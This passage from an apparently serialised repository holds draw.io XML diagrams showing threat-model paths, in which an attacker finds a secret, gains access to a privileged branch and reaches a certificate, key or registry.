style=\"sketch=0;shadow=0;dashed=0;html=1;strokeColor=none;fillColor=#505050;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;outlineConnect=0;align=center;shape=mxgraph.office.databases.database_public_folder;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"174\" y=\"181\" width=\"53\" height=\"54\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-33\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"254\" y=\"289\" as=\"sourcePoint\" />\n            <mxPoint x=\"301\" y=\"289\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-34\" value=\"\" style=\"sketch=0;pointerEvents=1;shadow=0;dashed=0;html=1;strokeColor=none;fillColor=#505050;labelPosition=center;verticalLabelPosition=bottom;outlineConnect=0;verticalAlign=top;align=center;shape=mxgraph.office.clouds.public_im_cloud_service;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"178\" y=\"347\" width=\"49\" height=\"44\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-36\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"259\" y=\"342\" as=\"sourcePoint\" />\n            <mxPoint x=\"299\" y=\"308\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-37\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"110\" y=\"293.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"157\" y=\"293.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"358.68\" y=\"256.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"358.68\" y=\"220.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/priv-cert.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:59:13.142Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"uz7ViSBmiOzcE7sXtckH\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"135\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"162\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-62\" value=\"\" style=\"sketch=0;outlineConnect=0;fillColor=#f8cecc;strokeColor=#b85450;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"256.5\" width=\"30\" height=\"39\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-63\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"300\" y=\"360\" width=\"89\" height=\"62\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-64\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"347\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"311\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-65\" value=\"Apps\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;strokeColor=#232F3E;fillColor=#ffffff;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.apps;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"365\" width=\"27\" height=\"27\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-66\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Find Secret&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"200\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-67\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Access Privileged Branch&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"352\" y=\"310\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-68\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.certificate_manager_2;fillColor=#759C3E;gradientColor=none;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"199\" y=\"375\" width=\"34\" height=\"27.5\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-69\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"287\" y=\"389\" as=\"sourcePoint\" />\n            <mxPoint x=\"244\" y=\"389\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-70\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Certificate&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"186\" y=\"402.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/priv-key.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:00:06.948Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"GhswKygSZV4dqlb8INFg\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"135\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"162\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-62\" value=\"\" style=\"sketch=0;outlineConnect=0;fillColor=#f8cecc;strokeColor=#b85450;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"256.5\" width=\"30\" height=\"39\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-63\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"300\" y=\"360\" width=\"89\" height=\"62\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-64\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"347\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"311\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-65\" value=\"Apps\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;strokeColor=#232F3E;fillColor=#ffffff;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.apps;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"365\" width=\"27\" height=\"27\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-66\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Find Secret&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"200\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-67\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Access Privileged Branch&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"352\" y=\"310\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-69\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"287\" y=\"389\" as=\"sourcePoint\" />\n            <mxPoint x=\"244\" y=\"389\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-70\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Key&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"183\" y=\"402.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-72\" value=\"\" style=\"image;aspect=fixed;perimeter=ellipsePerimeter;html=1;align=center;shadow=0;dashed=0;spacingTop=3;image=img/lib/active_directory/key.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"198\" y=\"379\" width=\"25.68\" height=\"19\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/priv-pro.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:57:40.427Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"cLyuFYoNIeQHNDMLEnNO\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"135\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"162\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-62\" value=\"\" style=\"sketch=0;outlineConnect=0;fillColor=#f8cecc;strokeColor=#b85450;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"256.5\" width=\"30\" height=\"39\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-63\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"300\" y=\"360\" width=\"89\" height=\"62\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-64\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"347\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"311\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-65\" value=\"Apps\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;strokeColor=#232F3E;fillColor=#ffffff;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.apps;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"331\" y=\"365\" width=\"27\" height=\"27\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-66\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Find Secret&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"200\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-67\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Access Privileged Branch&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"345\" y=\"309\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/regi.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:06:32.494Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"F1urSojKBK9NXu3Kuey3\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"135\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"162\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-66\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Find Secret&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"200\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-87\" value=\"Registry\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;strokeColor=#232F3E;fillColor=#ffffff;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.registry;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"244\" width=\"60\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-88\" value=\"Registry\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;strokeColor=#232F3E;fillColor=#ffffff;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.registry;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"395\" width=\"60\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-89\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"380.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"344.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  